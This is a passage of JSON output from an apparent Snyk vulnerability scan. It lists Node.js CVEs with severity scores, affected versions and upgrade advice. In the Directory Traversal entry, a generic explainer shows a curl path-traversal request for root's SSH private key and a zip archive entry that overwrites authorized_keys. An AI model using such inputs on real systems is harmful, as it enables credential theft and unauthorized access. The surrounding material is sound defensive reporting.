"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.2,
"modificationTime": "2026-08-11T05:30:55.443628Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.2,
"modificationTime": "2026-08-07T11:01:50.421860Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:23:48.353682Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:23:48.353682Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.2,
"cvssVersion": "3.1",
"modificationTime": "2026-08-11T05:30:55.443628Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.2,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:50.421860Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `node:zlib` synchronous APIs when a spoofed `TypedArray` `byteLength` triggers a reachable assertion. An attacker can cause the process to crash repeatedly by exploiting this condition.\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1, 26.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/05f541b5c08601a9767e3083897ff7898734a098)\n- [GitHub Commit](https://github.com/nodejs/node/commit/0d072480c3dbbad6db8723e39786321646989343)\n- [GitHub Commit](https://github.com/nodejs/node/commit/b3fbb6e11f)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.05245",
"probability": "0.00167",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-58045"
],
"CWE": [
"CWE-770"
]
},
"packageName": "node",
"creationTime": "2026-08-06T01:04:53.622382Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-04T03:55:25Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-06T01:05:01.741048Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:23:48.353682Z",
"socialTrendAlert": false,
"packagePopularityRank": 0,
"from": [
"Upstream",
"node@22.22.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "node",
"version": "22.22.3",
"nearestFixedInVersion": "22.23.2"
}
],
"ok": false,
"dependencyCount": 88,
"org": "sean.graham",
"policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.25.1\nignore: {}\npatch: {}\n",
"isPrivate": true,
"licensesPolicy": {
"severities": {},
"orgLicenseRules": {
"AGPL-1.0": {
"licenseType": "AGPL-1.0",
"severity": "high",
"instructions": ""
},
"AGPL-3.0": {
"licenseType": "AGPL-3.0",
"severity": "high",
"instructions": ""
},
"Artistic-1.0": {
"licenseType": "Artistic-1.0",
"severity": "medium",
"instructions": ""
},
"Artistic-2.0": {
"licenseType": "Artistic-2.0",
"severity": "medium",
"instructions": ""
},
"CDDL-1.0": {
"licenseType": "CDDL-1.0",
"severity": "medium",
"instructions": ""
},
"CPOL-1.02": {
"licenseType": "CPOL-1.02",
"severity": "high",
"instructions": ""
},
"EPL-1.0": {
"licenseType": "EPL-1.0",
"severity": "medium",
"instructions": ""
},
"GPL-2.0": {
"licenseType": "GPL-2.0",
"severity": "high",
"instructions": ""
},
"GPL-3.0": {
"licenseType": "GPL-3.0",
"severity": "high",
"instructions": ""
},
"LGPL-2.0": {
"licenseType": "LGPL-2.0",
"severity": "medium",
"instructions": ""
},
"LGPL-2.1": {
"licenseType": "LGPL-2.1",
"severity": "medium",
"instructions": ""
},
"LGPL-3.0": {
"licenseType": "LGPL-3.0",
"severity": "medium",
"instructions": ""
},
"MPL-1.1": {
"licenseType": "MPL-1.1",
"severity": "medium",
"instructions": ""
},
"MPL-2.0": {
"licenseType": "MPL-2.0",
"severity": "medium",
"instructions": ""
},
"MS-RL": {
"licenseType": "MS-RL",
"severity": "medium",
"instructions": ""
},
"SimPL-2.0": {
"licenseType": "SimPL-2.0",
"severity": "high",
"instructions": ""
}
}
},
"packageManager": "deb",
"ignoreSettings": {
"adminOnly": false,
"reasonRequired": false,
"disregardFilesystemIgnores": false,
"autoApproveIgnores": false,
"approvalWorkflowEnabled": false
},
"docker": {
"binariesVulns": {
"issuesData": {
"SNYK-UPSTREAM-NODE-17430980": {
"id": "SNYK-UPSTREAM-NODE-17430980",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Tim Perry"
],
"semver": {
"vulnerable": [
"[22.22.3, 22.23.0)",
"[24.0.0, 24.17.0)",
"[25.0.0, 26.1.0)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.0",
"24.17.0",
"26.1.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/4a32c00fb8dbe55c3bcf9ef43343968c9fe449e6",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/a1a5bb968303229d4a3a7c9e389dc3ece6237b4c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/a8a0d1287571cc63809e62e429ce15a37deea51a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/d29fbc002914e2e1128161b842bfe44ed1909fd4",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3658225",
"title": "HackerOne Report"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/june-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-19T01:29:43.970666Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-08-14T05:31:05.801786Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-06-26T11:01:41.210806Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-27T14:04:50.506339Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-27T14:04:50.506339Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-19T01:29:43.970666Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-08-14T05:31:05.801786Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.210806Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `HTTP/2` server. An attacker can cause the server to continue accepting data after a `GOAWAY` frame has been sent by sending additional data, potentially leading to resource exhaustion and degraded service availability.\n## Remediation\nUpgrade `node` to version 22.23.0, 24.17.0, 26.1.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/4a32c00fb8dbe55c3bcf9ef43343968c9fe449e6)\n- [GitHub Commit](https://github.com/nodejs/node/commit/a1a5bb968303229d4a3a7c9e389dc3ece6237b4c)\n- [GitHub Commit](https://github.com/nodejs/node/commit/a8a0d1287571cc63809e62e429ce15a37deea51a)\n- [GitHub Commit](https://github.com/nodejs/node/commit/d29fbc002914e2e1128161b842bfe44ed1909fd4)\n- [HackerOne Report](https://hackerone.com/reports/3658225)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/june-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.45151",
"probability": "0.00573",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-48937"
],
"CWE": [
"CWE-770"
]
},
"packageName": "node",
"creationTime": "2026-06-23T18:25:38.204109Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-18T19:18:16Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-06-23T18:25:38.387210Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-27T14:04:50.506339Z",
"socialTrendAlert": false,
"packagePopularityRank": 0
},
"SNYK-UPSTREAM-NODE-17674807": {
"id": "SNYK-UPSTREAM-NODE-17674807",
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"erichen"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.0)",
"[23.0.0, 24.17.0)",
"[25.0.0, 26.3.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.0",
"24.17.0",
"26.3.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/98fbc892119d10ff9b385d35e6ff6e0f6fcc6eff",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/june-2026-security-releases",
"title": "Node.js Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-27T06:47:40.179091Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-26T11:01:41.429545Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-27T14:04:50.747064Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-27T14:04:50.747064Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-27T06:47:40.179091Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.429545Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Integer Overflow or Wraparound in the WebCrypto cipher output length calculation in `src/crypto/crypto_aes.cc`, where `data_len + blockSize + tag_len` is computed as a signed `int` before being passed to OpenSSL. An attacker can abort the process and cause a denial of service by passing an input around a multiple of 2 GiB to `subtle.encrypt()`, which overflows that length computation and crashes the runtime.\n## Remediation\nUpgrade `node` to version 22.23.0, 24.17.0, 26.3.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/98fbc892119d10ff9b385d35e6ff6e0f6fcc6eff)\n- [Node.js Advisory](https://nodejs.org/en/blog/vulnerability/june-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.89370",
"probability": "0.03711",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-48933"
],
"CWE": [
"CWE-190"
]
},
"packageName": "node",
"creationTime": "2026-06-29T14:31:58.946820Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-26T02:08:32.113000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-06-29T14:31:59.135778Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-27T14:04:50.747064Z",
"socialTrendAlert": false,
"packagePopularityRank": 0
},
"SNYK-UPSTREAM-NODE-18507942": {
"id": "SNYK-UPSTREAM-NODE-18507942",
"title": "Improper Certificate Validation",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"credit": [
"vnyuh"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)",
"[26.0.0, 26.5.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1",
"26.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/51123159fe863073d7dcaf5c88b23bad8aae1a62",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/95ba2cfde732391fca7c3eeeb798e68e3eea4f5c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/c7ec3dc0b99f0d0e66d9153f40387ba98fd21a85",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"cvssV3BaseScore": 6.3,
"modificationTime": "2026-08-05T06:03:44.647596Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"cvssV3BaseScore": 6.3,
"modificationTime": "2026-08-07T11:01:48.504262Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-02T14:02:49.935746Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 6.3,
"cvssVersion": "3.1",
"modificationTime": "2026-10-02T14:02:49.935746Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.3,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T06:03:44.647596Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.3,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:48.504262Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Improper Certificate Validation due to the `HTTPS Agent` skipping hostname verification across identity policies. An attacker can intercept or manipulate encrypted communications by exploiting TLS session reuse without proper hostname validation.\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1, 26.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/51123159fe863073d7dcaf5c88b23bad8aae1a62)\n- [GitHub Commit](https://github.com/nodejs/node/commit/95ba2cfde732391fca7c3eeeb798e68e3eea4f5c)\n- [GitHub Commit](https://github.com/nodejs/node/commit/c7ec3dc0b99f0d0e66d9153f40387ba98fd21a85)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.18321",
"probability": "0.00278",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-58040"
],
"CWE": [
"CWE-295"
]
},
"packageName": "node",
"creationTime": "2026-08-02T12:15:22.422438Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-30T15:48:41Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-02T12:15:22.587494Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-02T14:02:49.935746Z",
"socialTrendAlert": false,
"packagePopularityRank": 0
},
"SNYK-UPSTREAM-NODE-18507943": {
"id": "SNYK-UPSTREAM-NODE-18507943",
"title": "Directory Traversal",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"credit": [
"sinan-polat"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)",
"[26.0.0, 26.5.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1",
"26.5.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.4,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/61222008b756c6da5e5ccad39e49bb5764379d21",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/9a6b7e343a42061c44fa567d557fef7a347a8099",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/ed18b9cc073f0b63268d6f2c84730b18e90fdd20",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"cvssV3BaseScore": 4.4,
"modificationTime": "2026-08-05T05:50:30.795493Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.3,
"modificationTime": "2026-08-07T11:01:49.032075Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.4,
"cvssVersion": "4.0",
"modificationTime": "2026-09-27T14:05:21.030048Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.3,
"cvssVersion": "3.1",
"modificationTime": "2026-09-27T14:05:21.030048Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:50:30.795493Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.3,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:49.032075Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Directory Traversal due to improper enforcement of the permission model in the `process.report`. An attacker can access or overwrite files outside of the intended `--allow-fs-write` paths by leveraging this flaw to bypass security boundaries.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1, 26.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/61222008b756c6da5e5ccad39e49bb5764379d21)\n- [GitHub Commit](https://github.com/nodejs/node/commit/9a6b7e343a42061c44fa567d557fef7a347a8099)\n- [GitHub Commit](https://github.com/nodejs/node/commit/ed18b9cc073f0b63268d6f2c84730b18e90fdd20)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.03926",
"probability": "0.00155",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-58039"
],
"CWE": [
"CWE-22"
]
},
"packageName": "node",
"creationTime": "2026-08-02T12:15:46.875620Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-31T01:48:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-02T12:15:47.051773Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-27T14:05:21.030048Z",
"socialTrendAlert": false,
"packagePopularityRank": 0
},
"SNYK-UPSTREAM-NODE-18553644": {
"id": "SNYK-UPSTREAM-NODE-18553644",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"leduckhuong"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.2",
"24.18.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/34ed88a069393a40fb97c7015e5539a0818ae756",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/f14d78b9e0",
"title": "GitHub Commit"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/july-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-07T05:49:05.944858Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-07T11:01:47.905351Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-27T14:05:21.221490Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-27T14:05:21.221490Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T05:49:05.944858Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T11:01:47.905351Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the HTTP/2 header block handling. An attacker can cause excessive memory consumption by sending specially crafted HTTP/2 requests that bypass memory limits.\n## Remediation\nUpgrade `node` to version 22.23.2, 24.18.1 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/34ed88a069393a40fb97c7015e5539a0818ae756)\n- [GitHub Commit](https://github.com/nodejs/node/commit/f14d78b9e0)\n- [Node.js](https://nodejs.org/en/blog/vulnerability/july-2026-security-releases)\n",
"epssDetails": {
"percentile": "0.40376",
"probability": "0.00500",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-56846"
],
"CWE": [
"CWE-770"
]
},
"packageName": "node",
"creationTime": "2026-08-06T01:00:32.348238Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-04T03:55:16Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "upstream",
"publicationTime": "2026-08-06T01:00:46.764993Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-27T14:05:21.221490Z",
"socialTrendAlert": false,
"packagePopularityRank": 0
},
"SNYK-UPSTREAM-NODE-18553648": {
"id": "SNYK-UPSTREAM-NODE-18553648",
"title": "Use After Free",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"hahahkim"
],
"semver": {
"vulnerable": [
"[22.0.0, 22.23.2)",
"[24.0.0, 24.18.1)",
"[26.0.0, 26.5.1)"
]
},
"exploit": "Not Defined",
